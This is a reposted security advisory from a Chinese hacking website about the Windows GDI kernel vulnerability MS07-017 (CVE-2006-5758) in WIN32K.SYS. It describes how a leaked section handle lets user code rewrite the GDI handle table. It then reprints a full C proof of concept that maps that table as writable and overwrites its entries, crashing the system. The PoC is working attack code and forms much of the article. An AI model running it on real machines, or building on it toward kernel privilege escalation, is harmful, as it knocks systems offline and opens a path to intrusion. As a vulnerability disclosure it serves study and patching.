黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·完美空间提供500M免费AS04-10·企业安全之YY内网准入以04-09
·企业安全之意识与策略04-09·剑走偏锋:IIS漏洞利用04-09
·我来免费网提供100M免费04-09·1122mb.com提供20G超大免04-08
·映像劫持与反劫持技术04-07·让所有"暴力删除工具"无04-07
·入侵88red系统的详细过程04-07·Sql Injection脚本注入终04-07
·vbs+delphi 反弹后门生成04-07·飞讯网提供100MB免费PHP04-07
·突破SQL注入攻击时输入框04-04·结合内核和病毒技术的最04-04
·Real Player rmoc3260.d04-04·亿万网络今月最后为您提04-04
·php+mysql 5 sql inject04-03·Real Player rmoc3260.d04-03
·oblog文件下载漏洞04-03·免费啦提供1G-2G免费全能04-03
·完全解析网页后门和挂马04-02·一句话开3389(只测试过04-02
·萧萧免费空间网提供100M04-02·谷道免费空间网提供1G免04-01
·从本地入手解决双线路由03-31·sablog 1.6 多个跨站漏洞03-31
·富文本编辑器的跨站脚本03-31·Cookie注入是怎样产生的03-31
[推荐]Microsoft Windows GDI内核本地权限提升漏洞(MS07-017)
      ★★★★★

Microsoft Windows GDI内核本地权限提升漏洞(MS07-017)

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-4-11 8:18:45
受影响系统:
Microsoft Windows XP SP2
Microsoft Windows 2000SP4
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 20940
CVE(CAN) ID: CVE-2006-5758

Microsoft Windows是微软发布的非常流行的操作系统。

Windows XP及更早版本的WIN32K.SYS中存在特权句柄泄露漏洞,允许非特权用户以内核权限执行任意指令。

如果创建了新进程的话,WIN32K.SYS!GdiProcessCallout会通过ObOpenObjectByPointer以SECTION_ALL_ACCESS权限在新进程中为gpHmgrSharedHandleSection创建句柄。这个句柄用于将共享中的只读部分映射到进程的内存,但没有关闭,因此应用程序可以滥用句柄将这部分重新映射为可写,然后篡改WIN32K.SYS将会使用的数据。

gpHmgrSharedHandleSection是一个10h字节GDI对象句柄项表,格式如下:

+00h PTR GDI object data (kernel data) pointer
+04h WORD Process ID
+06h WORD some flags
+08h WORD high word of GDI handle
+0Ah BYTE type
01h = DC 0Ah = Font
02h = Surface? 0Ch = Font Chunk?
03h = 3D Surface? 0Eh = Color Transform Object
04h = Region 10h = Brush
05h = Bitmap 15h = Metafile?
06h = Client Object? 16h = EnumFontStyle?
07h = Path 1Ch = Driver Object
08h = Palette 1Eh = Spool Object
09h = Color Space
+0Bh BYTE more flags
+0Ch PTR user data pointer

恶意用户可以创建一个GDI对象,修改与句柄相关的内核数据指针,然后试图使用对象以使WIN32K.SYS操作恶意数据,导致执行任意指令。

<*来源:Cesar Cerrudo (cesarc56@yahoo.com)

链接:http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
http://www.microsoft.com/technet/security/Bulletin/MS07-017.mspx?pf=true
http://www.us-cert.gov/cas/techalerts/TA07-093A.html
http://research.eeye.com/html/alerts/zeroday/20061106.html
*>

测试方法:
以下是引用片段:
// Argeniss - Information Security - www.argeniss.com
//
// by: Cesar Cerrudo
//
// Windows GDI Kernel structure vulnerability
//
// Versions affected: Win2k sp0,sp1,sp2,sp3,sp4, WinXP sp0,sp1,sp2
//   
//
// Note: if it doesn't work it's because the wrong section is mapped try changing hMapFile initial value
// runnin this PoC will cause BSOD
//


#include "windows.h"
#include "stdio.h"

#pragma comment(lib, "user32")

typedef struct
{
DWORD pKernelInfo;
WORD ProcessID;
WORD _nCount;
WORD nUpper;
WORD nType;
DWORD pUserInfo;
} GDITableEntry;

typedef struct _SECTION_BASIC_INFORMATION {
ULONG d000;
ULONG SectionAttributes;
LARGE_INTEGER SectionSize;
} SECTION_BASIC_INFORMATION;

typedef DWORD (CALLBACK* NTQUERYSECTION)(HANDLE, DWORD, PVOID,DWORD,DWORD*);
NTQUERYSECTION NtQuerySection;

int main(int argc, char* argv[])
{
  SECTION_BASIC_INFORMATION buff;
  HANDLE hMapFile;
  hMapFile=(HANDLE)0x10;
  LPVOID lpMapAddress=NULL;
  HWND hWin;

  hWin=createWindow(NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL);

  while(!lpMapAddress){
    hMapFile=(void*)((int)hMapFile+1);
    lpMapAddress = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  }

  if (lpMapAddress == NULL) {
    printf("Could not map section.");
    return 0;
  }


  HMODULE hL;
  hL=LoadLibrary("Ntdll.dll");
  NtQuerySection= (DWORD (WINAPI *)(HANDLE, DWORD, PVOID,DWORD,DWORD*))GetProcAddress(hL,"NtQuerySection");

  if (NtQuerySection(hMapFile,0,&buff,sizeof(buff),0)){
    printf("Could not get section size");
    return 0;
  }

char * sMap;
DWORD i;
sMap=(char*)lpMapAddress;
printf("Section size: 0x%x\n",buff.SectionSize.QuadPart);
printf("Writing to section.\nPress Ctr+C to quit\n");


GDITableEntry *gdiTable;


  gdiTable=(GDITableEntry *)lpMapAddress;
  
  for (i=0;i<buff.SectionSize.QuadPart ;i+=sizeof(GDITableEntry)){

    gdiTable->_nCount =0x5858;
    gdiTable->nType =0x5858;
    gdiTable->nUpper =0x5858;
    gdiTable->ProcessID =0x5858;
    gdiTable->pKernelInfo =0x58585858;
    gdiTable->pUserInfo =0x58585858;
      
    gdiTable++;
  }


CloseHandle(hMapFile);

  return 0;
}
文章录入:cainiaowang    责任编辑:cainiaowang 
【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
VIP 专 区
Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
ICP备案:冀06009886